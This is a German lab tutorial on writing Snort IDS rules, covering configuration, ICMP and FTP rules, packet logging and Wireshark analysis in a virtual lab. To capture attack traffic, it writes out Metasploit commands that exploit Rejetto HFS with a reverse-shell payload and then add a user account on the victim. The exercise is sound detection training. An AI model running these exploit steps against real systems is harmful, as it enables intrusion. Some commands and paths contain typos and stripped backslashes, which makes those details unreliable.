In dieser Reihe von Laborübungen werden wir verschiedene Techniken zum Schreiben von Snort-Regeln demonstrieren, von der grundlegenden Regelsyntax bis hin zum Schreiben von Regeln, die auf die Erkennung bestimmter Arten von Angriffen ausgerichtet sind. Wir werden auch einige grundlegende Ansätze zur Analyse und Optimierung der Regelleistung untersuchen.
Übung 1: Snort als IDS
Snort ist vor allem als IDS bekannt. Von der Website snort.org:
„Snort® ist ein von Sourcefire entwickeltes Open-Source-Netzwerk-Intrusion-Prevention- und -Detection-System (IDS/IPS). Durch die Kombination der Vorteile von signatur-, protokoll- und anomaliebasierter Prüfung ist Snort die weltweit am häufigsten eingesetzte IDS/IPS-Technologie. Mit Millionen von Downloads und fast 400.000 registrierten Nutzern ist Snort zum De-facto-Standard für IPS geworden.“
Es sollte auch erwähnt werden, dass Sourcefire Anfang Oktober 2013 von Cisco übernommen wurde.
Snort kann grundsätzlich in drei verschiedenen Modi laufen: IDS-Modus, Logging-Modus und Sniffer-Modus. Wir werden Snort in diesem Teil des Praktikums im IDS-Modus verwenden und es später als Paketlogger einsetzen. Wir werden die Ubuntu Server-VM, die Windows Server 2012 R2-VM und die Kali Linux-VM für diese Übung verwenden.
Sie haben Snort Version 2.9.8 auf Ihrer Ubuntu Server-VM installiert. Starten Sie Ihre Ubuntu Server VM, melden Sie sich mit den zu Beginn dieser Anleitung angegebenen Anmeldeinformationen an und öffnen Sie eine Terminal-Shell durch Doppelklick auf die Desktop-Verknüpfung. (Alternativ können Sie auch Strg+Alt+T drücken, um eine neue Shell zu öffnen.)
Um die Snort-Version zu überprüfen, geben Sie snort -V ein und drücken Sie die Eingabetaste.
Als nächstes müssen wir unseren HOME_NET-Wert konfigurieren: das Netzwerk, das wir schützen werden. Geben Sie zunächst ifconfig in Ihrer Terminal-Shell ein, um die Netzwerkkonfiguration anzuzeigen. Notieren Sie sich die IP-Adresse und den Wert der Netzwerkschnittstelle. Siehe das Bild unten (Ihre IP-Adresse kann anders sein).
Nächste geben Sie den folgenden Befehl ein, um die snort-Konfigurationsdatei im Texteditor gedit zu öffnen:
sudo gedit /etc/snort/snort.conf
Geben Sie das Passwort für Ubuntu Server ein. Wenn sich die Datei snort.conf öffnet, scrollen Sie nach unten, bis Sie die Einstellung ipvar HOME_NET finden. Ändern Sie die IP-Adresse so, dass sie Ihrem tatsächlichen Klasse-C-Subnetz entspricht. Derzeit sollte sie 192.168.132.0/24 lauten. Ändern Sie einfach den Teil der IP-Adresse so, dass er mit der IP-Adresse Ihrer Ubuntu-Server-VM übereinstimmt, und achten Sie darauf, die „.0/24″ am Ende zu lassen.
Wählen Sie in der oberen Leiste die Option Speichern und schließen Sie die Datei. Jetzt ist Snort bereit zum Ausführen. Es sind jedoch keine Regeln geladen. Um dies zu überprüfen, führen Sie den folgenden Befehl aus:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Hier weisen wir Snort an, die Konfigurationsdatei (-c verweist auf ihren Speicherort) auf der Schnittstelle eth0 zu testen (geben Sie Ihren Schnittstellenwert ein, falls er anders ist). Dies wird eine Menge an Ausgaben produzieren. Scrollen Sie nach oben, bis Sie „0 Snort rules read“ sehen (siehe Bild unten).
Lassen Sie uns die Syntax dieser Regel durchgehen:
Rule headers
- alert – Rule action. Snort erzeugt einen Alarm, wenn die eingestellte Bedingung erfüllt ist.
- any – Quell-IP. Snort prüft alle Quellen.
- any – Quellport. Snort prüft alle Ports.
- -> – Richtung. Von der Quelle zum Ziel.
- $HOME_NET – Ziel-IP. Wir verwenden den HOME_NET-Wert aus der Datei snort.conf.
- any – Ziel-Port. Snort prüft alle Ports des geschützten Netzwerks.
Regeloptionen:
- msg: „ICMP test“ – Snort fügt diese Meldung dem Alarm hinzu.
- sid:1000001 – Snort-Regel-ID. Denken Sie daran, dass alle Zahlen kleiner als 1.000.000 reserviert sind; deshalb beginnen wir mit 1.000.001. (Sie können jede Zahl verwenden, solange sie größer als 1.000.000 ist.)
- rev:1 – Revisionsnummer. Diese Option ermöglicht eine einfachere Wartung der Regeln.
- classtype:icmp-event – Kategorisiert die Regel als „icmp-event“, eine der vordefinierten Snort-Kategorien. Diese Option hilft bei der Organisation der Regel.
Klicken Sie auf Speichern und schließen Sie die Datei. Führen Sie nun den Snort-Konfigurationstestbefehl erneut aus:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Wenn Sie nach oben scrollen, sollten Sie sehen, dass eine Regel geladen wurde.
Starten wir nun Snort im IDS-Modus und weisen es an, Warnmeldungen auf der Konsole auszugeben:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Auch hier verweisen wir Snort auf die Konfigurationsdatei, die es verwenden soll (-c) und geben die Schnittstelle an (-i eth0). Die Option -A console gibt Warnungen auf der Standardausgabe aus, und -q steht für den „ruhigen“ Modus (ohne Banner und Statusbericht). Sie sollten keine Ausgabe sehen, wenn Sie den Befehl eingeben, da Snort keine Aktivität entdeckt hat, die in der von uns geschriebenen Regel angegeben ist.
Lassen Sie uns etwas Aktivität erzeugen und sehen, ob unsere Regel funktioniert.
Starten Sie Ihre Kali Linux VM. Möglicherweise müssen Sie nach der Eingabe der Anmeldeinformationen startx eingeben, um die grafische Benutzeroberfläche zu öffnen. Sobald Sie dort sind, öffnen Sie eine Terminal-Shell, indem Sie auf das Symbol in der oberen Menüleiste klicken.
Starten Sie nun das Pingen Ihres Ubuntu-Servers mit dem folgenden Befehl (verwenden Sie die IP Ihres Ubuntu-Servers anstelle von .x.x):
ping 192.168.x.x
Lassen Sie es ein paar Sekunden laufen und drücken Sie Strg+C, um zu stoppen und zur Eingabeaufforderung zurückzukehren.
Nun kehren Sie zu Ihrem Ubuntu Server zurück, auf dem Snort IDS läuft. Sie sollten sehen, dass für jede ICMP Echo-Anfrage und Echo-Antwort Nachricht Warnungen generiert werden, mit dem Nachrichtentext, den wir in der msg-Option angegeben haben:
Wir können auch die Quell-IP-Adresse des Hosts sehen, der für die Aktivität, die die Warnung erzeugt, verantwortlich ist. Im obigen Beispiel ist es 192.168.132.133; Ihre kann anders sein (aber es wird die IP Ihrer Kali Linux VM sein). Unsere Testregel funktioniert! Drücken Sie Strg+C, um Snort zu beenden und zur Eingabeaufforderung zurückzukehren.
Schreiben wir nun eine weitere Regel, die diesmal etwas spezifischer ist. Öffnen Sie unsere Datei local.rules in einem Texteditor:
sudo gedit /etc/snort/rules/local.rules
Zunächst kommentieren wir unsere erste Regel aus. Setzen Sie ein Pfundzeichen (#) vor die Regel. Schreiben Sie in eine neue Zeile die folgende Regel (mit Ihrer Kali Linux IP für x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: „FTP-Verbindungsversuch“; sid:1000002; rev:1;)
Hier haben wir das Protokoll auf TCP geändert, eine bestimmte Quell-IP verwendet, die Zielportnummer auf 21 (Standardport für FTP-Verbindungen) gesetzt und den Text der Warnmeldung geändert. Speichern und schließen Sie die Datei. Nun lassen wir Snort wieder im IDS-Modus laufen, aber diesmal fügen wir eine weitere Option hinzu, und zwar wie folgt:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Wir weisen Snort an, generierte Alarme im ASCII-Format zu protokollieren und nicht im standardmäßigen pcap. Sobald Snort läuft (auch hier werden Sie nicht sofort eine Ausgabe sehen), gehen Sie zu Ihrer Kali Linux VM und geben Sie den folgenden Befehl in einer Terminal-Shell ein (unter Verwendung der IP-Adresse Ihres Ubuntu Servers):
ftp 192.168.x.x
Gehen Sie zurück zum Ubuntu Server. Sie sollten sehen, dass ein Alarm generiert wurde.
Um sicherzustellen, dass die Regel keine Fehlalarme erzeugt, können Sie eine andere Terminal-Shell auf der Ubuntu Server VM öffnen und versuchen, eine Verbindung zum selben FTP-Server herzustellen. Sie sollten keine neuen Warnmeldungen sehen. Drücken Sie Strg+C, um Snort zu beenden.
Führen Sie nun den folgenden Befehl aus, um das Snort-Protokollverzeichnis aufzulisten:
ls /var/log/snort
Sie sollten etwas Ähnliches wie das folgende Bild sehen:
Die Datei snort.log.* (Sie haben möglicherweise mehr als eine, wenn Sie zuvor mehr als eine Alarm erzeugende Aktivität erzeugt haben) ist die .pcap-Protokolldatei. Sie kann nicht mit einem Texteditor gelesen werden. Die IP-Adresse, die Sie sehen (Ihre wird sich von der Abbildung unterscheiden), ist die Quell-IP-Adresse für den Alarm, den wir gerade für unsere FTP-Regel gesehen haben. Es handelt sich um ein Verzeichnis. Schauen wir uns an, was sich darin befindet:
sudo ls /var/log/snort/192.168.x.x
Sie sehen, dass es dort eine Datei gibt, die nach dem Protokoll (TCP) und den an der Aktivität beteiligten Portnummern benannt ist. Wir können diese Datei mit einem Texteditor lesen oder einfach den Befehl cat verwenden:
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Wir erhalten die gleichen Informationen wie in der Konsolenausgabe mit einigen zusätzlichen Details.
Wie sieht es mit den .pcap-Dateien aus? Wir können Wireshark, einen beliebten Netzwerkprotokollanalysator, verwenden, um diese zu untersuchen. Geben Sie sudo wireshark ein, um das Programm zu starten. Klicken Sie auf OK, um die eingeblendeten Fehler-/Warnmeldungen zu bestätigen. Im Wireshark-Hauptfenster gehen Sie auf Datei → Öffnen.
Suchen Sie das Verzeichnis /var/log/snort, wählen Sie die Datei snort.log.* und klicken Sie auf Öffnen.
Hier finden Sie viele weitere Informationen! Klicken Sie auf eines der Elemente im mittleren Fenster, um es zu erweitern. Jetzt können wir uns den Inhalt der einzelnen Pakete ansehen.
Schließen Sie Wireshark. Wir werden es im Laufe der Übungen häufig verwenden.
Für unsere nächste Regel schreiben wir eine, die zusätzlich zu den Protokollen, IPs und Portnummern auch nach Inhalten sucht. Zunächst müssen wir eine Aktivität erzeugen, die uns den für eine Regel benötigten Inhalt liefert.
Starten Sie Ihre Windows Server 2012 R2-VM und melden Sie sich mit den zu Beginn dieser Anleitung angegebenen Anmeldeinformationen an. Auf dieser VM läuft ein FTP-Server. Ermitteln Sie zunächst die IP-Adresse Ihrer Windows Server 2102 R2 VM. Öffnen Sie dazu die Eingabeaufforderung über die Desktop-Verknüpfung und geben Sie ipconfig.
Notieren Sie den Wert der „IPv4-Adresse“ (Ihre Adresse kann von der Abbildung abweichen). Gehen Sie nun zurück zu Ihrer Ubuntu Server VM und geben Sie ftp 192.168.x.x ein (unter Verwendung der IP-Adresse, die Sie gerade nachgeschlagen haben). Wenn Sie zur Eingabe von Name und Passwort aufgefordert werden, drücken Sie einfach Enter. Schauen Sie sich die Ausgabe an.
Wie wir sehen können, führt die Eingabe ungültiger Anmeldedaten zu einer Meldung, die besagt „Login oder Passwort falsch.“ Jetzt haben wir genug Informationen, um unsere Regel zu schreiben. Geben Sie quit ein, um FTP zu beenden und zur Eingabeaufforderung zurückzukehren. Öffnen Sie unsere Datei local.rules erneut:
sudo gedit /etc/snort/rules/local.rules
Da wir viel mit dieser Datei arbeiten werden, können Sie sie geöffnet lassen und eine neue Terminal-Shell starten, um Befehle einzugeben.
Fügen Sie die folgende Regel in die neue Zeile ein:
alert tcp $HOME_NET 21 -> any any (msg: „FTP failed login“; content: „Login or password incorrect“; sid:1000003; rev:1;)
Beachten Sie, dass wir jetzt den Wert HOME_NET als unsere Quell-IP festlegen, da wir nach den ausgehenden Antworten des FTP-Servers suchen werden. Speichern Sie die Datei. Lassen Sie uns nun die Regel testen. Starten Sie Snort im IDS-Modus:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Gehen Sie nun zu Ihrer Kali Linux VM und versuchen Sie, sich mit dem FTP-Server auf Windows Server 2012 R2 (ftp 192.168.x.x) zu verbinden, indem Sie beliebige Werte für Name und Passwort eingeben. Geben Sie quit ein, um zur Eingabeaufforderung zurückzukehren. Gehen Sie zurück zur Ubuntu Server VM. Sie sollten mehrere Alarme sehen, die von den beiden aktiven Regeln erzeugt werden, die wir in Snort geladen haben. Drücken Sie STRG+C, um Snort zu beenden.
Übung 2: Snort als Paketlogger
Bei der sich schnell verändernden Angriffslandschaft und den Vektoren, die es heutzutage gibt, wissen wir vielleicht nicht einmal, wonach wir suchen sollten, bis wir den Angriff gesehen haben. Nach der Untersuchung des Datenverkehrs könnten wir dann vielleicht eine Regel für diesen speziellen „neuen“ Angriff erstellen. Genau auf diese Weise werden die standardmäßig öffentlich verfügbaren Snort-Regeln erstellt. Wir werden nun Snort im Protokollierungsmodus ausführen und sehen, ob wir in der Lage sind, den Datenverkehr auf der Grundlage der von uns durchgeführten Angriffe zu identifizieren.
In dieser Übung werden wir einen Angriff auf unseren Windows Server simulieren und Snort im Paketprotokollierungsmodus ausführen. Dann werden wir die protokollierten Pakete untersuchen, um zu sehen, ob wir eine Angriffssignatur identifizieren können.
Stellen Sie sicher, dass alle drei VMs (Ubuntu Server, Windows Server und Kali Linux) laufen. Geben Sie auf Ihrer Kali Linux-VM Folgendes in eine Terminal-Shell ein:
msfconsole
Damit wird Metasploit Framework, eine beliebte Plattform für Penetrationstests, gestartet. Es dauert einige Sekunden, bis es geladen ist. Ignorieren Sie den Datenbankverbindungsfehler. Warten Sie, bis Sie die Eingabeaufforderung msf> sehen. Geben Sie dort die folgenden Befehle ein:
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (Kali Linux VM IP-Adresse)
set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP-Adresse)
set RPORT 8081
Hier haben wir einen Exploit gegen eine verwundbare Version von Rejetto HFS HTTP File Server konfiguriert, die auf unserer Windows Server 2012 R2 VM läuft.
Bevor wir den Exploit ausführen, müssen wir Snort im Paketprotokollierungsmodus starten. Gehen Sie zu Ihrer Ubuntu Server VM und geben Sie den folgenden Befehl in einer Terminal-Shell ein:
sudo snort -dev -q -l /var/log/snort -i eth0
Sie werden keine Ausgabe sehen. Gehen Sie nun zurück zu dem msf-Exploit, den Sie auf der Kali Linux VM konfiguriert haben und geben Sie exploit ein. Wenn der Exploit erfolgreich war, sollten Sie eine Befehlsshell erhalten:
Nun, da wir Zugriff auf das System haben, können wir Folgendes tun:
Erstelle ein neues Benutzerkonto:
net user accountname P@ssword12 /ADD
Wechsle die Verzeichnisse nach c:
cd
Erstelle ein neues Verzeichnis mit deinem Namen.
mkdir yourname
Drücken Sie nun Strg+C und antworten Sie mit y für „ja“, um den Zugriff auf die Befehlsshell zu schließen.
Nächste gehen Sie zu Ihrer Ubuntu Server VM und drücken Sie Strg+C, um Snort zu beenden. Geben Sie sudo wireshark in Ihre Terminal-Shell ein. Gehen Sie in Wireshark auf Datei → Öffnen und suchen Sie nach /var/log/snort. Zu diesem Zeitpunkt befinden sich dort mehrere snort.log.*-Dateien. Wählen Sie diejenige aus, die zuletzt geändert wurde, und klicken Sie auf Öffnen.
Sie sollten eine ganze Reihe von Paketen sehen, die aufgezeichnet wurden.
Wir müssen die Pakete finden, die mit unserem simulierten Angriff zusammenhängen. Wählen Sie in Wireshark Bearbeiten → Paket suchen. Wählen Sie im daraufhin angezeigten Dialogfeld das Optionsfeld String aus. Wählen Sie dann Packet Bytes als Suchkriterium. Geben Sie dann als Suchbegriff den von Ihnen erstellten Benutzernamen ein.
Wenn Sie den Suchdialog konfiguriert haben, klicken Sie auf die Schaltfläche Suchen. Die Suche sollte das Paket finden, das die von Ihnen gesuchte Zeichenfolge enthält. Wählen Sie nun dieses Paket aus. Es ist das dunkelorangefarbene Paket. Klicken Sie mit der rechten Maustaste darauf und wählen Sie TCP-Stream verfolgen.
Diese Aktion sollte Ihnen alle Befehle anzeigen, die in dieser TCP-Sitzung eingegeben wurden. Dazu gehören die Erstellung des Kontos und die anderen Aktionen.
Nachdem Sie Ihre Ergebnisse überprüft haben, schließen Sie das Stream-Fenster. Damit sollten Sie zu dem Paket zurückkehren, das Sie zu Beginn ausgewählt haben. Drücken Sie nun den Pfeil nach oben, bis der ASCII-Teil des Hex-Dumps „C:UsersAdministratorDesktophfs2.3b>“ im unteren Bereich anzeigt. Siehe unten.
Beachten Sie den ausgewählten Teil in der obigen Grafik. Wir werden diesen Inhalt verwenden, um eine Warnung zu erstellen, die uns darüber informiert, wenn eine Befehlsshell als Ergebnis des Rejetto-HFS-Exploits an einen anderen Host gesendet wird. Minimieren Sie das Wireshark-Fenster (schließen Sie es noch nicht).
Übung 3: Erstellen einer benutzerdefinierten Regel aus dem protokollierten Datenverkehr
Wir möchten, dass eine Warnung angezeigt wird, wenn Snort „C:UsersAdministratorDesktophfs2.3b>“ sieht. Gehen Sie zu unserer local.rules-Datei (wenn Sie sie geschlossen haben, öffnen Sie sie erneut als root, indem Sie den gleichen Befehl wie zuvor verwenden) und fügen Sie die folgende Regel in einer neuen Zeile hinzu (beachten Sie, dass wir alle Backslashes auslassen, um sicherzustellen, dass sie im Inhalt enthalten sind):
alert tcp $HOME_NET any -> any any (msg: „Command Shell Access“; content: „C:UsersAdministratorDesktophfs2.3b“; sid:1000004; rev:1;)
Speichern Sie die Datei. Starten Sie Snort erneut im IDS-Modus:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Gehen Sie nun zurück zu Ihrer Kali Linux VM. Sie sollten immer noch an der Eingabeaufforderung für den rejetto-Exploit sein. Geben Sie einfach exploit ein, um ihn erneut auszuführen. Warten Sie, bis Sie Zugriff auf die Befehlsshell erhalten, und kehren Sie zum Snort-Terminal auf Ubuntu Server zurück. Sie sollten sehen, dass Alarme generiert wurden, die auf unserer neuen Regel basieren:
Drücken Sie Strg+C auf dem Kali Linux Terminal und geben Sie y ein, um die Befehlsshell zu verlassen. Drücken Sie dann Strg+C auf dem Ubuntu Server-Terminal, um Snort zu beenden.
In diesem Fall haben wir einige von Menschen lesbare Inhalte, die wir in unserer Regel verwenden können. Aber das ist nicht immer der Fall.
Lassen Sie uns unsere Regel so ändern, dass sie nach Inhalten sucht, die im Hex-Format dargestellt sind. Kopieren Sie zunächst in unserer Datei local.rules unsere letzte Regel und fügen Sie sie unten in die neue Zeile ein. Kommentieren Sie nun die alte Regel aus und ändern Sie den Wert „rev“ für die neue Regel in „2“. Siehe unten.
Rufen Sie das Wireshark-Fenster mit unserer Aufzeichnung erneut auf, wobei derselbe Nutzdatenbereich ausgewählt ist. Leider können Sie Hex-Werte nicht direkt aus dem Wireshark-Hauptfenster kopieren, aber es gibt eine einfache Lösung, die für uns funktionieren wird. Klicken Sie bei ausgewähltem Inhalt mit der rechten Maustaste entweder auf das entsprechende (hervorgehobene) Paket im oberen Bereich oder auf den hervorgehobenen Eintrag „Data:“ im mittleren Bereich und wählen Sie Kopieren → Bytes → Offset Hex. Siehe unten.
Wählen Sie nun in unserer local.rules-Datei das Inhaltsargument (alles zwischen den Anführungszeichen) in unserer neuen Regel aus, klicken Sie mit der rechten Maustaste und dann auf Einfügen. Entfernen Sie nun sorgfältig alle zusätzlichen Leerzeichen, Zeilenumbrüche usw., so dass nur die benötigten Hex-Werte übrig bleiben. Fügen Sie dann die Pipe-Symbole (|) auf beiden Seiten ein. Ihre fertige Regel sollte wie das folgende Bild aussehen.
Speichern Sie die Datei. Starten Sie Snort im IDS-Modus. Gehen Sie anschließend zu Ihrer Kali Linux VM und führen Sie den Exploit erneut aus. Warten Sie, bis Sie die Befehlsshell erhalten und sehen Sie sich die Snort-Ausgabe an. Es sollten Warnungen generiert werden.
Diesmal werden zwei statt vier Warnungen angezeigt, da wir die Hexadezimal-Darstellung des „>“-Symbols in den Inhalt aufgenommen haben, wodurch die Regel spezifischer wird.
Drücken Sie Strg+C, um Snort zu beenden. Drücken Sie dann auf der Kali Linux VM Strg+C und geben Sie y ein, um die Befehlsshell zu verlassen. Geben Sie exit ein, um zur regulären Eingabeaufforderung zurückzukehren.
Dies sind nur einige der Grundlagen für das Schreiben von Snort-Regeln. Später werden wir uns einige fortgeschrittenere Techniken ansehen.